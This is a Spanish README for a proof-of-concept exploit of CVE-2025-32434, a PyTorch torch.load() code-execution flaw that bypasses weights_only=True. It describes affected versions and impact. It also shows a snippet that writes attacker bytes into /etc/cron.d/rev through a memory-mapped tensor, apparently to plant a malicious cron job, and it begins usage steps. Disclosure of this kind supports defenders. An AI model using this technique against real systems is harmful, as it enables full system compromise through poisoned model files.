
Exploit de prueba de concepto para CVE-2025-32434, un RCE crítico en torch.load() de PyTorch que evita weights_only=True mediante escritura de archivos mapeados en memoria.
CVE-2025-32434 es una vulnerabilidad crítica de Ejecución Remota de Código (RCE) en PyTorch, una biblioteca de Python ampliamente utilizada para aprendizaje profundo y redes neuronales.
La vulnerabilidad existe en la función torch.load(), incluso cuando se utiliza el parámetro supuestamente seguro weights_only=True. La opción weights_only=True fue diseñada para prevenir la ejecución de código al restringir la carga solo a los parámetros del modelo. Sin embargo, los investigadores encontraron una manera de eludir esta protección.
| Estado | Versión |
|---|
| Vulnerable | PyTorch 2.5.1 y todas las versiones anteriores |
| Corregido | PyTorch 2.6.0 y posteriores |
Un atacante no autenticado puede crear un archivo de modelo malicioso que ejecuta código arbitrario cuando es cargado por una víctima. El ataque no requiere interacción del usuario y puede llevar a un compromiso total del sistema. La vulnerabilidad explota cómo PyTorch utiliza la serialización pickle de Python, permitiendo a los atacantes incrustar código malicioso en archivos de modelo.
Esta vulnerabilidad es particularmente peligrosa porque muchos desarrolladores confían en weights_only=True como medida de seguridad, pero esta vulnerabilidad demuestra que incluso la opción "segura" no es suficiente.
El script full.py proporcionado demuestra cómo crear un modelo malicioso de PyTorch que escribe en el sistema de archivos cuando se carga.
torch.from_file() para crear un tensor mapeado en memoria que apunta al archivo cron objetivo# Memory-mapped file writing
t = torch.from_file("/etc/cron.d/rev",
shared=True,
size=len(asciis),
dtype=torch.uint8)
msg = torch.tensor(asciis, dtype=torch.uint8)
t.copy_(msg) # Writes to /etc/cron.d/rev
Esta guía proporciona instrucciones paso a paso sobre cómo usar el script de prueba de concepto (PoC) de CVE-2025-32434.
Antes de comenzar, asegúrate de tener:
# Install PyTorch (vulnerable version for testing)
pip install torch==2.5.1
pip install torch